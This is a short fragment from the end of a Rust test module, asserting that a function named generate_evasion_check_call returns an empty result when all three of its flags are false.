    993         let call = generate_evasion_check_call(false, false, false);
    994         assert!(call.is_empty());
    995     }
    996 }